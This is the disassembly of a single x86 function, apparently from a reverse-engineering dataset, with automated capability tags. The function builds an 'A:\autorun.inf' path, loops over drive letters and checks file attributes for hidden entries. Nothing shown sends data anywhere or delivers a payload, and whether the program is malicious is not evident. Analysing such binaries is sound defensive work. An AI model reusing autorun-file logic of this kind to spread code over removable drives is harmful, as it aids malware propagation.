Function at 0x40e6d0
Capabilities:
Get file attributes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x420e1b
mov eax, dword fs:[0]
push eax
sub esp, 0x4c8
mov eax, dword [0x42d028]
xor eax, esp
mov dword [esp + 0x4c0], eax
push ebx
push esi
push edi
mov eax, dword [0x42d028]
xor eax, esp
push eax
lea eax, [esp + 0x4d8]
mov dword fs:[0], eax
cmp dword [ebp + 0xc], 0
mov eax, dword [ebp + 8]
mov ebx, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
je 0x40e978
test eax, eax
je 0x40e978
cmp dword [ecx + 0xc], 0
je 0x40e73a
call sub.MFC80U.DLL_Ordinal_5434
mov eax, dword [0x4236b8]
mov ecx, dword [0x4236bc]
push 0x34
lea edx, [esp + 0x44]
push 0
push edx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ecx
call sub.MSVCR80.dll_memset
push 0xc6
lea eax, [esp + 0x216]
push 0
push eax
mov word [esp + 0x21c], 0
call sub.MSVCR80.dll_memset
mov ecx, 7
mov esi, str.A:_autorun.inf
lea edi, [esp + 0x8c]
rep movsd dword es:[edi], dword [esi]
push 0xaa
lea ecx, [esp + 0xae]
push 0
push ecx
mov byte [esp + 0x37], 0
movsw word es:[edi], word [esi]
call sub.MSVCR80.dll_memset
mov edi, dword [sym.imp.MSVCR80.dll_wcscpy_s]
lea edx, [esp + 0x98]
push edx
lea eax, [esp + 0x164]
push 0x64
push eax
call edi
push ebx
lea ecx, [esp + 0x170]
push 0x64
push ecx
call dword [sym.imp.MSVCR80.dll_wcscat_s]
xor esi, esi
add esp, 0x3c
cmp dword [ebp + 0xc], esi
jbe 0x40e835
lea esp, [esp]
mov edx, dword [esp + 0x18]
movzx eax, word [edx + esi*2]
push ebx
lea ecx, [esp + 0x78]
mov word [esp + 0x78], ax
mov word [esp + 0x140], ax
call fcn.0040ead0
test al, al
je 0x40e82d
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x17], 1
call sub.MFC80U.DLL_Ordinal_1003
push ebx
lea edi, [esp + 0x140]
lea ecx, [esp + 0x78]
call fcn.0040e9a0
mov edi, dword [sym.imp.MSVCR80.dll_wcscpy_s]
add esi, 1
cmp esi, dword [ebp + 0xc]
jb 0x40e7e0
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
jbe 0x40e972
jmp 0x40e848
mov edi, dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov ecx, dword [esp + 0x18]
movzx eax, word [ecx + ebx*2]
lea edx, [esp + 0x38]
push edx
mov word [esp + 0x3c], ax
mov word [esp + 0x78], ax
mov word [esp + 0x140], ax
lea eax, [esp + 0x208]
push 0x64
push eax
call edi
push 0x422f3c
lea ecx, [esp + 0x214]
push 0x64
push ecx
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0x18
lea ecx, [esp + 0x20]
call sub.MFC80U.DLL_Ordinal_386
push 0
lea edx, [esp + 0x208]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x4e8], 0
call sub.MFC80U.DLL_Ordinal_2271
test eax, eax
je 0x40e92e
lea ecx, [esp + 0x20]
call sub.MFC80U.DLL_Ordinal_2279
mov esi, eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x24]
call sub.MFC80U.DLL_Ordinal_2745
mov eax, dword [eax]
push eax
lea ecx, [esp + 0x2d0]
push 0x100
push ecx
call edi
add esp, 0xc
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea edx, [esp + 0x2cc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x40e92a
test al, 0x10
jne 0x40e92a
lea ecx, [esp + 0x2cc]
call fcn.00408700
test eax, eax
jle 0x40e92a
cmp eax, 6
je 0x40e92a
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x2cc]
push eax
call sub.MFC80U.DLL_Ordinal_1003
test esi, esi
jne 0x40e8b6
lea ecx, [esp + 0x20]
call sub.MFC80U.DLL_Ordinal_1431
mov esi, dword [esp + 0x14]
push esi
lea edi, [esp + 0x78]
call fcn.0040e020
push esi
lea edi, [esp + 0x140]
call fcn.0040e020
lea ecx, [esp + 0x20]
mov dword [esp + 0x4e0], 0xffffffff
call sub.MFC80U.DLL_Ordinal_631
add ebx, 1
cmp ebx, dword [ebp + 0xc]
jb 0x40e842
mov al, byte [esp + 0x13]
jmp 0x40e97a
xor al, al
mov ecx, dword [esp + 0x4d8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4c0]
xor ecx, esp
call fcn.0041d7b2
mov esp, ebp
pop ebp
ret 8